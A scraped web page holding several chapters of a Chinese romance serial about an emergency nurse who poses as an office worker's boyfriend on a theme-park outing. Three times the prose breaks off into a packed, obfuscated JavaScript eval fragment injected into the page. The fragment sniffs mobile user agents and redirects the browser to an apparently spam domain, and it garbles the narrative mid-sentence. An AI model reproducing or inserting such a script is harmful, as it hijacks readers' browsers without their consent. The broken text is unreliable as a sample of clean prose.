谈话间,段逸放在桌面上的手机响起了微信的提示音。 林烨然探头,“什么神经病?午休还找你?” 段逸点开姜抒晨的微信,微笑道:“不是,是一个私人短信。” “害,我还以为我们医院是地狱模式,没想到你比我累。”林烨然拍了拍胸口,没心没肺地笑着,“这样一来我就平衡了。” 段逸回完消息,放下手机,问:“嗯?你刚说什么?” “你发消息好认真。”林烨然指了指他刚放下的手机,“什么人的消息?” 段逸:“一个关系很好的好朋友。” 林烨然:“这地球上就没有和你关系不好的人呐,段逸。” 随即,他端正了坐姿,说,“不和你贫了,我们谈正事儿。” “你帮我打听好了么?” “一院本部的急诊科现在不对外招聘。”林烨然双手抱臂,靠在椅背上,“你想直接过去基本上不可能。” “你的意思是我只能等职位空缺?”段逸眸光有些暗淡。 “别急啊,我还没说完。”林烨然上半身前倾,胳膊肘支在桌上,压低声音,“对外招聘这种东西不都是写给外人看的么?咱们内部又是另一套规矩。” “你说。” “急诊科护士其实一直达不到饱和的状态,只是勉强够用,因为男护士太少了。而且咱们医院是谁?是全国最强的综合性医院,人均哈耶普斯麻庆,根本看不上国内普通医科大学的毕业生,宁缺毋滥。所以以你这学历,要是想去本部,走内部转岗不要太顺利。而且你我还是老朋友,我经常提到你,我同事早就听过你的名字了,肯定给你开绿灯。” 林烨然说得十分笃定,估计是经过了周密的调查,很有把握。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829877|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 段逸低头与咖啡里倒映出来的自己对视片刻,说:“转岗得两边都同意才行,我担心我护士长不放我走。经开这里是真的缺人。” 林烨然看着段逸,直摇头,“我真搞不懂你。毕业的时候你明明签了本部,怎么最后把自己砸到这鸟不拉屎的经开区来了?” 段逸视线转向窗外,云淡风轻地说:“都是我爸干的好事。” 林烨然沉默了。 他无声地喝着咖啡,窗外行驶过的车轰隆隆作响。 午休时间快结束了,咖啡店里午休的人陆陆续续地起身,渐次离开。店里很快空了一大半。 段逸一杯咖啡见了底,他叫了声林烨然,“走吗?快上班了,我得回去。” 林烨然把杯子往前一推,站了起来,注视着他,问:“段逸,你和我说实话,你这回想去本部,到底是什么原因?” 段逸走在前面,替他推开了门,笑说:“我能有什么原因?就是觉得经开鸟不拉屎,又累又穷,不想干了。” “不见得。”林烨然和他并肩向斑马线走去,“经开院又不是第一天鸟不拉屎,你也不是第一天又累又穷,几年没听你一句怨言。为什么偏偏这会儿熬不动了?” 金秋的风吹起,树叶打着旋降落在地。干枯的叶片和地面刮擦发出细细簌簌的声响。天空往死里高,蓝得像是大海倒扣。面对着如此悦目的秋景,林烨然硬是品出了点萧瑟凄凉来。 信号灯转绿,段逸率先迈步。 林烨然慢了几秒,在他身后瞧他的背影。 挺拔的脊背,比例优越的身材,不穿白大褂的时候和模特一样出众。上学几年很受女生欢迎的林烨然看了,也有点自惭形秽。 “我不是要劝说你。”林烨然跟上他,“但是段叔让你来经开自有他的道理。时间从来都是单向流动,人生也没有返程票。你何苦要把自己困在过去呢?” 段逸转过头来看着他,脸上带笑,但是笑意里藏着冰,“你这话和我爸一模一样。” 林烨然挠头,“我文科不好,嘴拙。你懂我意思就行。” “我当然懂你意思。”段逸道,“每个人都是这么和我说的。我真的非常理解你们的观点,但是我也没有办法苟同。” 两人进了医院的大门,都不约而同地放慢了脚步。 林烨然在他肩上捏了一把,“段逸,我们认识多少年了?” 段逸脱口而出:“十年。” “十年……我是拿你当家人一样的兄弟看待的。”林烨然认真地看着他的双眼,“我一方面希望你能按照你的想法来过你的人生,一方面不愿意你自毁前程。” 段逸在他的手背上拍了拍,“知道了,我先去上班,你快回去好好休息。” 林烨然不放心地松了手,说:“转岗的事儿我会帮你继续留意。” 段逸笑了,“还得是你,然哥。” 等段逸走上台阶,进了急诊大楼的门,林烨然脸上笑容凝固,自言自语道:“我不知道这样到底是帮了你还是害了你。” 11. 是你躲不过11 节前的工作日过得比往常更煎熬,在众人焦灼不安的等待中,假期前的最后一个工作日终于来了。 苏晓婷一大早就和组员约定了明早去环球乐园的时间,并且特地关照了姜抒晨,一定别忘记把对象带来给大家看看。 姜抒晨满口答应着,又花了两小时做心理建设,然后给段逸发了见面的时间地点,紧接着消息免打扰,把手机扔到了一边。 不过今天她沉不住气,才过了一小时就把手机拿出来看了,但是段逸还没有回复。 姜抒晨假装平静地把手机放归原位,拿起水杯去给自己倒了杯水喝,来转移注意力。 一个下午她都在和自己不受控制去拿手机的手做斗争,在五点钟的时候彻底败给了手,于是又一次拿起了手机查看。 段逸的头上出现了小红点。 姜抒晨直接点了进去。 Dyyyyy:「好的,明天见。」 姜抒晨想笑,但周围都坐着同事,她只好面无表情地放下手机,挺直了腰,若无其事地继续写她的文档。 * 作为一个996的打工人,姜抒晨通常是没有星期六的,运气不好的时候,星期日也留不下全尸。为数不多的空闲周日,无一例外都是从中午开始,因为早上根本起不来。 但是今天晚上她竟然活久见地失眠了。为了第二天早上能早早起床,她十点不到就逼迫自己躺到了床上。然而,翻来覆去换了无数个姿势,头发都快和枕头摩擦出火星,她也全无睡意。 一想到明天要和段逸一起去环球乐园,还要和同事们共处,她就一阵阵地紧张焦虑。 其实本来也没有想这么早就公开自己已经不是单身的事实,奈何苏晓婷逼得实在太紧,姜抒晨又最讨厌别人在她耳边哔哔赖赖,她才脑子一热,把自己已经脱单的事情抖了出去。 现在就是后悔,非常后悔。 她是擅自决定要带段逸去的,虽然段逸也答应了会和她一起来,但姜抒晨还是觉得她贸然打断了他的日程安排,既不礼貌,也不成熟。 睡不着,就只好漫无目的地玩手机。 不知怎地,姜抒晨点进了她和段逸的聊天页面。 她随手翻了翻聊天记录,发觉他们说的话实在是少得可怜。 没什么可看的,姜抒晨便点开他的头像,看了看他的朋友圈——和以前一样,除了转发医院官方公众号发的各种文章,就什么也没有了,干干净净。 反观她自己,仗着朋友圈只对要好的朋友开放,一天最多可以发十几条。从沙雕表情包,到祖安狂人语录,看上去就像在间歇性发疯,多少有些不正常。 姜抒晨又确认了一遍她的朋友圈确实把段逸屏蔽了,才悄悄地缓了口气。 她就这么在床上挺到了凌晨四点,难得有了一点困意,可还没来得及完全深睡,早上五点半的闹钟就把她从床上薅了起来。 从这里到环球乐园,少说也要两个小时的地铁,姜抒晨纵使再困,也不敢多睡哪怕一分钟。 她从床上爬起来,来到洗手间用凉水疯狂洗脸,终于把困倦感压了下去。 今天不是工作日,姜抒晨失去了路过手抓饼摊的机会,只得自己做早餐。 燕麦奶温好,倒进装了麦片、果干和谷物圈的碗里,搅拌均匀。冰箱里的鸡蛋取出来,打入平底锅。 “呲啦”一声,蛋清迅速凝固,一阵香味扑鼻而来。 姜抒晨正要抓紧把鸡蛋翻面,手机突然响了一声。 这个点能找她的,怕是有急事,毕竟现在是早上五点四十分。 姜抒晨调小了火,在围裙上随便擦了擦手,跑到餐厅的桌子边拿起了手机。 Dyyyyy:「语音」 姜抒晨点开,把手机放到耳边。 “一会儿要来一个车祸重伤的病人,我得去抢救。可能会迟到。你们到时先进去。” 还是一如既往好听的声音,带着点急切的语气,背景音里依稀可辨护士的催促:“段老师,主任让你快一点。” 姜抒晨能想象到他穿着白大褂认真工作的模样,不由得嘴角微翘。 可下一秒,她又忽然想到,段逸会不会干脆借着这个机会直接咕咕了? 他工作比一般人都要忙,而且假期向来不多,姜抒晨平白无故要占他休息日,他凭什么在值完大夜班之后一定要来呢? 想到这里,姜抒晨的心情一下子down了下去。 她在对话框里打了一句:“没关系。工作要紧。” 片刻后,又补了一句:“要是太累了不想来也不用勉强。” 打完字按下“发送”,姜抒晨觉得今天还没开始,就可以结束了。 锅里的煎蛋发出“滋滋”的声音,提醒她还有一点早餐没有做完。 她无精打采地回到厨房,握住了木铲的柄。 走之前火开得极小,煎蛋幸免于糊锅,可还是过了火。煎蛋边缘卷了起来,变成了深褐色。被锅铲铲起来的时候,整个蛋都硬邦邦的。 姜抒晨泄气地把煎蛋放到餐盘里,想不明白自己到底是因为担心段逸来不了而不高兴,还是因为孤身一人赴约会被苏晓婷她们认为是说谎而感到头疼。 吃完早餐,姜抒晨拖着步子走到房间里,开始化妆打扮。 为了呼应环球乐园的主题,她几乎在答应苏晓婷的瞬间立即就想好了要穿衣柜里最夸张的小裙子。 这是一件朱丽叶袖的Lolita连衣裙,长及小腿,外层是可提拉的玻璃纱,内层是印着哥特城堡的大裙摆。裙子的腰身剪裁合体,领口做成了蝙蝠翅膀的形状,更添暗黑气质,却又不失活泼感。 为了更好地展现裙摆的图案,姜抒晨祭出了自大学毕业以来就再没穿过的暴力撑,把裙子撑出了一个好看的弧度。 搭配上她黑紫色系的妆容,一整个腹黑小魔女的造型。 对着镜子转了一圈,姜抒晨给自己加油打气:就算是段逸真的咕咕了,她也不能丢了气势。 不得不说,漂亮的衣服和妆容对于社恐人来说,是某种勇气加持。 尽管走进地铁站的时候,姜抒晨恨不得原地消失,可她的心底还是藏着一份小小的喜悦——路人都在看她,有很多女孩子投来了赞许的眼光,还有几个穿着Lolita小裙子出街的女生更是和她默契地相视一笑。 这多少让她有了些自信。 两个小时的地铁,说是非常漫长也一点不为过。 然而姜抒晨又希望地铁再开慢一点,最好永远到不了环球乐园站。 她时不时地盯一会儿微信,期待段逸回复她已经忙完了或者马上就到之类的。但是微信一片沉寂。 她出门的时候踌躇满志,心想一个人也要昂首挺胸,大不了和苏晓婷正面刚,可快到站的时候,她又担心自己会气急败坏和她吵起来,然后被穿小鞋,试用期结束直接寄了。 任凭她胡思乱想了一大堆,地铁还是载着各式各样的人们,停在了环球乐园站的站台。 姜抒晨踩着高跟鞋,夹杂在一票欢呼雀跃的游客当中,走出了地铁站。 国庆假期,游乐场所必定是人满为患,更不用说预热了好几年、昨天刚刚开园的环球乐园了。 前广场上人山人海,比这更壮观的景象恐怕只有春运时的火车站。 团建群里,苏晓婷正在一个个艾特,问大家人在哪儿。 这种场面下,谁都说不出个所以然来。 姜抒晨是个老路痴了,看着众人在群里说了半天,她一阵头晕眼花,直接打开了位置共享。 组长吴悦妮在微信里“拍了拍”她,说:还得是小姜。 刘知瑶:[大拇指][大拇指] 苏晓婷:我好期待见一下小姜的男朋友[星星眼] 姜抒晨差点又崴到脚。 众人都加入了位置共享,花不了几分钟,大家都越过人潮,从各个方向聚到了苏晓婷的所在的位置。 组里年轻的职员都穿得很夸张,不过姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829878|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抒晨还是其中最瞩目的。 她一到,大家就把她围在中间,惊呼连连。 “这个裙子也太太太他妈好看了吧?” “呜呜给个链接我也想要!” 吴悦妮用胳膊抵了抵旁边的人,道:“人家穿的是Lolita,这些裙子都是限量预约的,哪能随便买到?” 刘知瑶惊叹:“你来上班这么久我都没看你穿过lo,竟然是lo娘。” 姜抒晨突然收获了这么多人关注,不好意思地说:“我平时经常穿lo,就是会混搭一下,看上去比较日常。” 苏晓婷看了看她身后,问:“不是说和男朋友一起来吗?他人呢?” “他……他在加班。”姜抒晨清清嗓子,遮掩语气里的不自然,“说是会迟一点来。” 苏晓婷眉毛扭在了一起:“早上九点多?加班?这么离谱?” 姜抒晨:“医院是这样的。。” 苏晓婷叹道:“有得必有失啊!师医公最吃香了,旱涝保收,稳定,福利又好。一个月工资够买好几个LV基础款呢。” 姜抒晨不知道说什么,只好尴尬地笑笑。 “真的吗?”苏晓婷又话锋一转,“我记得医院是早上六点就换班的呀,这个点怎么会来不了?你该不会是被骗了吧?” 姜抒晨:“说是早上突然有车祸的伤员送到医院,所以得紧急抢救。” 苏晓婷“啧”了一声,“小姜你呀,不要这么单纯好不好,人家说什么就是什么?” 姜抒晨继续尬笑。 吴悦妮点了下人数,举起胳膊,让大家都看过来,提议说:“我们除了小姜男朋友,其他人都到齐了,要不然先进园区吧。” 苏晓婷拿着一叠快速通行证带着大家往快速通道走,刚走了两步又回过头来问姜抒晨:“你是和我们一起进去,还是在这儿等待戈多?” 姜抒晨压下怒意,“当然是一起进去了。一会儿他来找我们就是。” 话是这么说,可姜抒晨心里也没底。 已经九点多了段逸还没有发消息,估计今天是不会来了。 都 到了这个时刻,再难受也得演下去,总不能当着众人的面被苏晓婷弄得狼狈不堪。她无论如何也不会遂了她的愿。 她理了理裙摆,跟着同事们一起进了园区大门。 开园第一天的环球乐园在太阳下熠熠生辉,各色游乐设施色彩鲜艳,即便是看着也能让人心情大好。 然而姜抒晨一直在想着段逸的事情,根本提不起兴趣来。同事们邀请她一起去玩项目,她都一一回绝了,独自一人站在树影下面等着他们玩完。 时间已经走向了十一点,一波接一波的游客往餐饮区去了。姜抒晨不抱希望地给段逸发了条微信:我在过山车这里。 苏晓婷她们坐完过山车下来,见姜抒晨还是孤零零地站在那里,便走上前去,道:“都这个点了,该不来也就不来了。” 姜抒晨沉默着没有说话。 “就算是没有男朋友也不丢人的。”苏晓婷看似体谅地说道,“你苏姐我给你介绍就是了,你信不过我吗?我看男人眼光很好的,你看我老公。” 姜抒晨扯了扯嘴角,找不出什么词来回答她。 段逸本来和她就是形婚关系,他根本没有义务陪她来这里证明什么。早知道今天会是如此场面,她绝对不会图一时之快答应来这里。 现在她进退两难,只想摆烂跑路。 “不好意思,我好像听到有人要给姜小姐介绍男朋友?” 倏地,姜抒晨身后响起了熟悉的男声。 她有些恍惚,愣了一秒钟才回过头去。 一个身穿卫衣配工装裤的年轻男人大步流星地朝她走来,一把揽住了她的肩膀,力道大得姜抒晨差点站不稳。 苏晓婷惊诧地看着男人,又看向姜抒晨,说话有些结巴:“这……这是……?” 段逸把姜抒晨揽得更紧,从容地说:“我是她男朋友。” 12. 是你躲不过12 姜抒晨脖颈僵硬地转了一下,匀开视线,诧异地盯着段逸线条流畅的下颌。 后者全然察觉不到姜抒晨的眼光,只是自如地伸出手去,“您好,我叫段逸。幸会。” 苏晓婷脸色有点儿绿。但碍于面子,她还是勉为其难地段逸蜻蜓点水般地握了一下手:“我是苏晓婷,姜抒晨同组的前辈。” 段逸偏过头来看向姜抒晨,含笑道:“对不起,让你着急了。伤者情况比较复杂,抢救了好长时间才救回来。” 姜抒晨耳尖都红了,她小声地说:“工作这么忙其实可以不用来的。” “答应你的事情,怎么能毁约呢?”段逸轻轻摸了摸她头上夹着的蝴蝶结。 这边正说着,组长他们几个也来了。 看到姜抒晨身边站着的高大男人,众人都有些意外。 段逸大方地自我介绍,不忘强调了一下“姜抒晨男朋友”这个身份。 一一握手之后,吴悦妮对姜抒晨道:“你们真的是郎才女貌,非常般配的一对。” 姜抒晨脸红,只羞涩地笑了一笑。 段逸则顺势与她攀谈起来,“我们抒晨承蒙您的关照了。她虽然比较内向,可是才华令人折服,我相信她会成为您得意的组员。” 吴悦妮连连点头:“当然,小姜是我们组里第一学历最高的一个。修改剧本几乎每次都是一遍过,文字功底特别扎实。能有这样的组员我也很幸运。” 其他人都一脸艳羡地看着姜抒晨。 不知道段逸这个人有什么魔力,在场的同事们和他聊得都很顺畅。其中还有好多人姜抒晨一句话也没讲过,可此时他们都在自如地和段逸谈笑,空气里洋溢着轻松快乐的氛围。 他不光是顾着自己聊天,话里话外总是提及姜抒晨的种种优点来,似乎很是为她骄傲,听得姜抒晨脸皮发烫。 不过,段逸并未在这些寒暄上耽误太久,在拜托各位前辈多多关照姜抒晨之后,他礼貌地说:“抒晨她胆子小,玩不了刺激的项目。我先带她去别的地方逛逛,就不扫大家的兴了。” 苏晓婷第一个答应:“好啊,那你们一起去玩吧。” 和同事告别之后,姜抒晨感觉自己又重新回到了人世间。 段逸果然极其懂得为人处事的方式,明明和她认识不久,却能精准地看穿她的需求,把她从乱七八糟的人际关系里解救了出来。 心里虽然感激,姜抒晨的脸上却维持着平静,“段老师值了一晚上的夜班还要过来这里,我实在是太对不起您了。” 段逸已经松开了环绕着她肩头的胳膊,与她保持着不疏离又不太亲近的距离,“不用觉得对不起我。是我自己答应你的,不是你强迫我来的。” 姜抒晨低头:“可是本来段老师应该回家休息。抢救病人一定很辛苦吧?” “这是我的工作。”段逸很平淡地回答,“医院也给我不错的薪水,这是我的分内之事。” 他的话字字清晰,认真起来的时候,全身上下有种别样的吸引力。 如果说不穿白大褂的段逸少年感满满,那么谈论起本职工作的段逸,则有种稳重可靠的成熟。 二者达成了绝妙的平衡,让姜抒晨不由得心跳加快。 她故作不经意地问道:“段老师不打算玩点什么?” 段逸仰头看了一眼在高耸的娱乐设施,声音被过山车上传来的尖叫声扯碎:“比起这些我更喜欢平和一点的。” 说完,他又问姜抒晨:“你呢?接下来想去哪里?” 姜抒晨:“我听你的。” 段逸温和的面色里展露出一分严肃,“我想听你的想法。” 姜抒晨:“我都行的,主要看段老师。” 段逸摇头:“这样是不合理的。你肯定有自己的想法和偏好,我希望你能把自己的需要放到前面来考虑,而不是抑制它。” 姜抒晨低下头认真地想了一会儿,说道:“我想先去逛逛IP主题商店。” 说完,她又摇头否认了刚才说的话:“这个点,或许应该先去吃个午餐?” 看着姜抒晨在原地陷入纠结,难以定夺现在究竟应当先做哪一件事,十分苦恼的模样,段逸便及时地出声:“那我们先去吃饭,之后再逛主题商店。” 出了选择题的困境,姜抒晨的心情一下子明朗了起来。她脚步轻快地溜达到乐园的地图前,自言自语道:“吃哪家餐厅呢?看起来都很好吃。” 环球乐园的餐厅各有不同的主题,装修风格迥异,对应的餐品种类也各具特色。 姜抒晨对吃没有什么偏好,但她不确定段逸是不是也和她一样全然不在意。 于是她从地图上抬起视线看向段逸,问:“段老师想去哪家?” “你有没有想去的?” 姜抒晨实诚地回答:“我都行。因为我吃饭就是为了活着,对美食不是特别有兴趣。” 闻言,段逸认真研究了一下餐厅的名称和位置,选了一个就在主题商店边上的餐厅,说:“那我们去这家。” 此刻距离饭点还有一会儿,餐厅虽然拥挤,但好歹还有空位置。 姜抒晨穿了裙撑,在人群里行动缓慢。段逸便走在前面,替她在人群里开出一条道来,避免了她的裙子被挤到变形的窘迫。 两人将将落座,隔壁座位上忽然一阵混乱。 哭喊声和尖叫声穿透了餐厅里喧闹的交谈,直抵姜抒晨的耳膜。 “救命!有没有医生护士?” “快打120!” 段逸当即放下手中的菜单,和姜抒晨对望了一眼。 两个人都没有说话,可是只是交换了一个眼神,彼此似乎都知道了对方下一步的动作。 几乎是同时,姜抒晨和段逸都站了起来,一前一后往骚乱的方向过去。 穿过围得里三层外三层的人群,姜抒晨艰难地挪到前排,看见了里面的光景。 一对夫妻手忙脚乱地拍着一个小男孩儿的后背,面色焦急。 那孩子看上去不过五六岁,大概是吃饭的时候把食物呛进了呼吸道,此时无法呼吸,一张小脸憋得都快紫了,双手不住地抓挠自己的脖子。 众人都远远地围观着,不敢贸然上前。 有人说已经拨了120急救电话,但是看这孩子的状况,只怕等不到救护车来。 姜抒晨暗暗地捏了一把汗,朝边上的段逸看了一眼。 段逸安抚似地轻轻拍了拍她的肩,然后径直往男孩儿的身边走过去。 “我是护士。”段逸冷静地对那对夫妻说,“孩子是呛到了吗?” 被吓到六神无主的夫妻瞬间像是抓到了救命稻草,把情况一股脑地往外倒:“刚才一边吃饭一边乱蹦,就呛进去了。我们怎么拍都拍不出来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829879|158913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段逸点头,果断地把身体已经有些软了的男孩儿从父母手里接过来,在他的后面从腋窝下伸过胳膊,勒住了男孩儿的上腹部。 在男孩儿父母充满了期盼的眼神中,段逸双臂用力收紧之后立即放松,向上腹部不断施压。 如此反复四五次,小男孩儿剧烈地咳嗽了几声,吐出了一大块食物残渣。 孩子恢复了呼吸,又因为刚才受了惊吓,哇地一声就嚎啕大哭了起来。 父母却并没有因为孩子哭而更加焦虑,反而眉眼舒展,一连声地向段逸鞠躬道谢。 “真是谢谢您,医生!” “您留一下联系方式,收下我们的心意。” 段逸只是拉下因为刚才急救而缩上去的衣袖,轻笑:“不用了,只是举手之劳。” 这对父母硬是拉着段逸不让他走,“不行,您救了孩子一命,做父母的怎么能一点表示都不做?” 段逸蹲下来摸了摸孩子的头,正声道:“我用的急救方法叫海姆利克。这个年纪的孩子很调皮,把异物吸入呼吸道是常有的事。所以一定要学会这个方法。” 孩子父母连连答应。 在他俩的千恩万谢当中,段逸起身,走向姜抒晨。 众人的目光都聚焦在他的身上,他向姜抒晨走来的时候,她甚至感觉她自己也在被许多的人注视,从而不自觉地红了脸。 “吓到了吗?”段逸揽过她的肩,带着她离开人群,走向原来的座位。 姜抒晨点了点头,“有一点。” “不过没事了。”段逸语气轻松。 可姜抒晨感觉到他搭在她肩头的手有难以察觉的颤抖,说话也有些刻意。 姜抒晨匀开目光,扫过他修长的手指,指甲剪得整齐,弧度十分流畅。是一双很标准的,医生护士的手。 “段老师,”姜抒晨说道,“救人一命胜造七级浮屠。” 段逸倒是不甚在意:“这是我的工作。” 姜抒晨不无担心地问:“可是不怕被人讹吗?现在的恶人那么多,要是出了一点问题都赖到段老师的头上怎么办?” “我只管做我问心无愧的事情就好了。”段逸说,“选专业之前,我就想好了很多种可能。哪怕是最坏的结果我也能接受,所以才选定了护理学。” 姜抒晨真诚地问:“什么样的是最坏的结果呢?” 段逸:“死亡。” 姜抒晨眸子一闪。 视线带过段逸的双眼,他瞳中的阴影深而辽远,好似泼开的浓墨。 “披萨来啦。”餐厅服务员送来了热气腾腾的披萨和小食盒子。 段逸抬手接过餐盘,一截手腕从衣袖里滑了出来。 姜抒晨一眼就看到了他手腕处的裹着的纱布。 “段老师,你的手腕受伤了吗?”姜抒晨讶然。 向来从容不迫的段逸眼中闪过一丝稍纵即逝的慌乱,“急诊科不是经常要搬病人么,不小心扭到了手腕。是小问题。” 姜抒晨被他气笑了:“段老师,我不是医学生,但也不是医学盲。” 段逸把手腕藏进衣袖,恢复了平淡的表情,“没有关系。” 姜抒晨却不允许他这么胡乱地搪塞过去,因为她刚才似乎看见了纱布上带着点猩红,“可是段老师……” 段逸含笑看向她的双眼,眉尾上扬,“你是在担心我吗?” 13. 是你躲不过13 姜抒晨一愣,当场矢口否认:“啊,不是,我就是看不得有人带伤工作。公司又不给加钱,更不会体谅,最后还得是自己受罪。” 段逸切了块披萨放到她的盘子里,岔开话题道:“尝尝看这个好不好吃。” 姜抒晨歪着头看他,“段老师,你在转移重点。” 段逸浅笑,眼神里有那么点心虚的意思。他用叉子轻轻点了点姜抒晨的盘子边缘,说:“先吃饭。” 姜抒晨垂下肩,拿起了刀叉。 她和段逸不熟,成年人之间讲究一个界限分明,再追问下去,就是多管闲事了。 披萨被切出了适口的小块,姜抒晨尝了一口。 她点的是土豆泥披萨,披萨饼皮做得偏薄,给土豆泥软绵细腻的口感腾出了发挥的空间。伴随着芝士的奶香和青红辣椒的清甜,轻盈顺滑。 本以为游乐园这种地方的餐厅出餐品质都勉勉强强,想不到竟然做得和外面的高级餐厅有得一拼。 姜抒晨咽下披萨,连声夸赞:“我觉得很好吃。” 段逸给她递上了一次性手套,“那就拿起来吃吧,我再给你切一块。” 手指蜻蜓点水般相触,姜抒晨仿佛是摸到了细微的电流,接过一次性手套的手抖了一下。 “谢谢段老师。”姜抒晨脸上微热。 “不用客气。”段逸笑道,低头给姜抒晨拿第二块披萨。 姜抒晨不好意思一个人吃,催道:“段老师你也快吃。” 段逸点头,给自己戴上一次性手套,拿起披萨吃了起来。 姜抒晨趁机得以观察他的手腕。 不清楚之前看到的一闪而过的猩红色究竟是不是错觉,她现在想要仔细确认。 段逸的衣袖因为抬手而微微下滑,露出了里面一小截白色。 乍一看是内搭的衣袖,但认真分辨就能发现边缘有一点毛糙,那是层层交叠的纱布。 但他也就只露出来这一小段破绽,姜抒晨看不到藏在衣袖里的部分,也就无从确认上面到底是否沾了血。 她望着段逸的手腕出神,被观察对象提出了疑问:“你在看什么?” 姜抒晨先是一个抬头,紧接着又咳嗽了一声,说:“我在发呆,呃……想策划案。” “《光·影》的?” “你还记得吗?”姜抒晨微诧。 “当然。”段逸回答,“既然关于你的事情我知道得很少,那么你说的信息我都会记住。” 姜抒晨:“段老师用心了,其实不记也没关系的。” 段逸一笑:“这不是为了演得更像吗?” 他说到演,姜抒晨就不可避免地想到今天中午段逸从她身后走过来,一把揽住她,然后说自己是姜抒晨男朋友替她解围的场面。 脸上将将衰退的热度又有了反扑的势头。 救命,他真的只是演技很好而已,但怎么会逼真到让人上头的地步? 姜抒晨这边内心无声呐喊,面容上还是平静如水。 她鼓着腮帮子细细咀嚼披萨,像极了《精灵旅社》里的梅维丝。 段逸问:“下午什么安排?” 姜抒晨眼珠子转了转,“IP商店?” 来环球乐园怎么能不逛IP商店,那必须得狠狠地买一波,才不枉大老远来这一趟。 段逸对此很认同,表示吃完东西就可以一起过去。 有了这个计划,姜抒晨加快了吃饭的速度。 几分钟过后,两人一起出了餐厅,向着IP商店出发。 时间已经来到下午,店里人满为患。 姜抒晨才刚挤进去,就不想逛了。狭小的空间里都是兴致勃勃的游客,她连挂在墙上的各种商品都不大能看清。 她穿了厚底的高跟鞋,走路本来就不稳当,被人群推推搡搡,她就像是被海浪裹挟着一样维持不了平衡。 她下意识地要伸手挡在身前来推开挤到她的人,冷不防被一只胳膊有力地从身后环住了。 那只胳膊一个使力,就将她稳定住。 身体站正,后背就贴到了身后人的胸膛上。 姜抒晨当场就石化了。 段逸的胳膊礼貌地放在了锁骨的位置,避免了敏感部位的接触,可这也算是相当亲密的肢体接触了。 姜抒晨只要一低头,下巴就会蹭到他的衣袖。 更糟糕的是,今天不太冷,他们都只穿了一件衣服,前胸和后背贴着,能彼此感受到体温。甚至她能感觉到段逸的心跳。 如果有镜子,姜抒晨现在一定可以看见自己的脸红得像猴子屁股,还刺啦刺啦地冒着烟。 “小心脚下。”段逸低下头,在她耳边低声提醒道。 听起来就是客气的关照,普普通通的语气,可是用他的声音在耳边讲出来,就莫名其妙地撩人,以至于姜抒晨控制不住地缩了缩脖子。 姜抒晨花了几秒钟调整了一下呼吸的节奏,确认段逸不会察觉出她的异常,然后找了处相对人少的地方进行挑选。 商品琳琅满目,姜抒晨每一个都很喜欢。 但是她自从上了大学就在买买买,剁手的时候绝不手软,海星看了都自愧不如(因为海星被剁了爪子还可以无限生长出新的)。这会儿家里的衣帽间已经快爆炸了。 她把喜欢的饰品都拿下来试了试,对着镜子左照照右照照,然后又依依不舍地拿下来,说道:“是不是有点显老气?” “会不会看着很奇怪?” “这个不日常,买了就是美丽废物。” 来了一通强行拔草之后,姜抒晨选定了一个熊耳发箍,和段逸说买好了。 段逸拿过她手里毛绒绒的发箍,问:“就买这一个?” 姜抒晨点头:“是。这个KC我觉得超百搭,可以配我的棕色卫衣裙,还有我所有小熊主题的裙子。” 段逸耐心地听着她讲,手上却不怠慢,一路稳稳地护着她,带她到前台排队结账。 等出了IP商店,太阳已然西斜。 姜抒晨像是刚进行了一场大战似地,扶着腰长长地舒了一口气,问段逸:“我们去集合点吗现在?” “时间还早。”段逸看了眼手机,转身往回走,“你等我一下。” 姜抒晨还没来得及问他要去干嘛,他就被人群淹没了。 姜抒晨顺着从商店里出来的人流走到了对面的长椅上坐下,盯着IP商店的门。 他折回去挤来挤去是要干什么?刚才这一顿挤就给姜抒晨挤得够呛,说是给游玩的兴趣当头泼了一大桶冷水也不为过。 难道是他还要买东西? 想到这里,姜抒晨瞪大眼睛,捂住了嘴。 天!她又犯了个大错。 在商店的时候因为太兴奋而只顾着看自己想看的东西,而忽略了询问段逸的感受。 他肯定是出于礼貌而选择了先由着她来,然后才一个人折回去买自己想买的东西。 啊,姜抒晨!你怎么这么不会做人? 姜抒晨咬着下唇,敲了一把自己的头顶。 “小姜,久等了。” 一双修长的腿出现在了视野里。 姜抒晨抬起头顺着这双腿向上看,就看见了段逸带着笑意的脸。 他似乎总是保持着这样让人如沐春风的笑,可能是护士的职业病,也可能就是他的表情管理。 但不管是发自内心的还是流于表面的,他笑的时候确实有着摄人心魂的魅力。 眼睛弯起来,睫毛长而浓密,梨涡浅浅,有那么点甜甜的味道。 意识到自己在盯着他的脸看,姜抒晨一个激灵原地起立,来了个九十度鞠躬:“对不起段老 